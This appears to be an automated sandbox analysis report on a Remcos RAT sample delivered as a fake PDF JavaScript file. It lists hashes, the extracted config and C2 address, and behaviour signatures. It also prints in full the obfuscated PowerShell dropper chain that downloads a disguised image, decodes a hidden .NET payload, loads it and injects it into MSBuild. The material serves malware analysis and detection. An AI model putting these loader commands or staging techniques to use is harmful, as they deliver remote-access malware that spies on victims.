Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-12-2024 12:57

General

  • Target

    1099833039444.pdf.js

  • Size

    3KB

  • MD5

    f41d5e2a458b43a44bf6f91e6172fd1f

  • SHA1

    9d079763a4430d644a903168f29dae713768818b

  • SHA256

    aee33a04a77ae07b38fc5a96b90f0a2a0f8b619fa9b66003d1f548f8bf924dfe

  • SHA512

    b5188d638825bfc4f68810789bc5ecd3c1b1b4c0f0ed00cba15640c24f944c68f52648322c459f2129bdcdf4bc3f7bf0188f1b584e5076b91f1a91d3e792e1b5

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

RemoteHost

C2

ahmedahmed.ddns.net:6426

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-SEVL3E

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1099833039444.pdf.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3428
    • C:\Windows\System32\cscript.exe
      "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\desentulhador.js
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3188
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $embebido = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJAB0AHIAaQBwAHUAZABpAGEAcgAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAGwAbwBxAHUAYQBjAGkAZABhAGQAZQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABlAHMAdAByAGEAdABpAGcAcgBhAHAAaABpAGEAIAA9ACAAJABsAG8AcQB1AGEAYwBpAGQAYQBkAGUALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdAByAGkAcAB1AGQAaQBhAHIAKQA7ACQAZQB4AHAAcgBlAHMAcwBpAHYAbwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGUAcwB0AHIAYQB0AGkAZwByAGEAcABoAGkAYQApADsAJAByAGgAZQB0AG8AcgBpAGMAaQBzAG0AbwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAYwBhAGwAdQBnAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAZQBzAGMAbwByAHAAaQB1AHIAYQAgAD0AIAAkAGUAeABwAHIAZQBzAHMAaQB2AG8ALgBJAG4AZABlAHgATwBmACgAJAByAGgAZQB0AG8AcgBpAGMAaQBzAG0AbwApADsAJABtAGEAbABhAGwAZQB1AGMAYQAgAD0AIAAkAGUAeABwAHIAZQBzAHMAaQB2AG8ALgBJAG4AZABlAHgATwBmACgAJABjAGEAbAB1AGcAYQApADsAJABlAHMAYwBvAHIAcABpAHUAcgBhACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAbQBhAGwAYQBsAGUAdQBjAGEAIAAtAGcAdAAgACQAZQBzAGMAbwByAHAAaQB1AHIAYQA7ACQAZQBzAGMAbwByAHAAaQB1AHIAYQAgACsAPQAgACQAcgBoAGUAdABvAHIAaQBjAGkAcwBtAG8ALgBMAGUAbgBnAHQAaAA7ACQAcwBlAHIAZQBuAGEAdABpAHMAdABhACAAPQAgACQAbQBhAGwAYQBsAGUAdQBjAGEAIAAtACAAJABlAHMAYwBvAHIAcABpAHUAcgBhADsAJABjAGEAbABhAGYAZQB0AGUAYQByACAAPQAgACQAZQB4AHAAcgBlAHMAcwBpAHYAbwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABlAHMAYwBvAHIAcABpAHUAcgBhACwAIAAkAHMAZQByAGUAbgBhAHQAaQBzAHQAYQApADsAJABhAG4AaQBuAGEAcgAgAD0AIAAtAGoAbwBpAG4AIAAoACQAYwBhAGwAYQBmAGUAdABlAGEAcgAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYwBhAGwAYQBmAGUAdABlAGEAcgAuAEwAZQBuAGcAdABoACkAXQA7ACQAbwBwAHAAbwBuAGUAbgB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQBuAGkAbgBhAHIAKQA7ACQAYQBsAGEAYgBpAHIAaQBuAHQAYQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAG8AcABwAG8AbgBlAG4AdABlACkAOwAkAGUAbgBmAGUAcgBtAGUAaQByAGEAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApADsAJABlAG4AZgBlAHIAbQBlAGkAcgBhAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAnADAALwBXAEYAaQBDAFgALwByAC8AZQBlAC4AZQB0AHMAYQBwAC8ALwA6AHMAcAB0AHQAaAAnACwAIAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACAAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAgACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAIAAnAE0AUwBCAHUAaQBsAGQAJwAsACAAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAgACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACcAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHMAbwAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcALAAnAGMAYQByAHQAaQBsAGEAZwBpAG4AbwBzAG8AJwAsACcAMQAnACwAJwBjAGEAcgB0AGkAbABhAGcAaQBuAG8AcwBvACcAKQApADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsA';$incommunicabilidade = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($embebido));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $incommunicabilidade
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$tripudiar = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$loquacidade = New-Object System.Net.WebClient;$estratigraphia = $loquacidade.DownloadData($tripudiar);$expressivo = [System.Text.Encoding]::UTF8.GetString($estratigraphia);$rhetoricismo = '<<BASE64_START>>';$caluga = '<<BASE64_END>>';$escorpiura = $expressivo.IndexOf($rhetoricismo);$malaleuca = $expressivo.IndexOf($caluga);$escorpiura -ge 0 -and $malaleuca -gt $escorpiura;$escorpiura += $rhetoricismo.Length;$serenatista = $malaleuca - $escorpiura;$calafetear = $expressivo.Substring($escorpiura, $serenatista);$aninar = -join ($calafetear.ToCharArray() | ForEach-Object { $_ })[-1..-($calafetear.Length)];$opponente = [System.Convert]::FromBase64String($aninar);$alabirintar = [System.Reflection.Assembly]::Load($opponente);$enfermeira = [dnlib.IO.Home].GetMethod('VAI');$enfermeira.Invoke($null, @('0/WFiCX/r/ee.etsap//:sptth', 'cartilaginoso', 'cartilaginoso', 'cartilaginoso', 'MSBuild', 'cartilaginoso', 'cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','cartilaginoso','1','cartilaginoso'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4692
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:1508

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\remcos\logs.dat

    Filesize

    144B

    MD5

    2867f6d5c4ee9e01dfef9fae71f1fbe5

    SHA1

    c64033c3993a56f190db99f42b147c2cddeb8225

    SHA256

    fc2d1ef7816d44816fc88bf6dbbe418c240747741a1628a30cd7e65c84b27840

    SHA512

    bc1bcd58f950b8b2b3ec477ac84327d9a59d6be5e5e595ba5f7a548b84c1ff60cc69e9293796e49bea5aae7d74e5dfafd3ac9e0e6a9bb7b5dde92887e573bb8c

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    235a8eb126d835efb2e253459ab8b089

    SHA1

    293fbf68e6726a5a230c3a42624c01899e35a89f

    SHA256

    5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

    SHA512

    a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_upkhibva.v4d.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\desentulhador.js

    Filesize

    155KB

    MD5

    f559b24304a1b17b80bccacc2965a3a6

    SHA1

    74f09250e2531a5504e0373b7cb038c4c4d722bf

    SHA256

    23ad8882ca8cdc770dd6d31890258af9f81aa09e5188d6a92dcfbef841dfab8f

    SHA512

    aa1a70e1ae7e21f563d6aae0c81471a3d20d024a8c15824855f4c9cb2c56ee716daeb54380433c9ceb6421a3aff130d7af73dd281e2d1ab969434b05fc6461d6

  • memory/1508-42-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-61-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-31-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-38-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-41-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-77-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-43-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-44-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-45-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-52-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-53-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-76-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-60-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-34-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/1508-68-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4476-11-0x00000200ECFB0000-0x00000200ECFD2000-memory.dmp

    Filesize

    136KB

  • memory/4692-30-0x000001FC7BE10000-0x000001FC7BF68000-memory.dmp

    Filesize

    1.3MB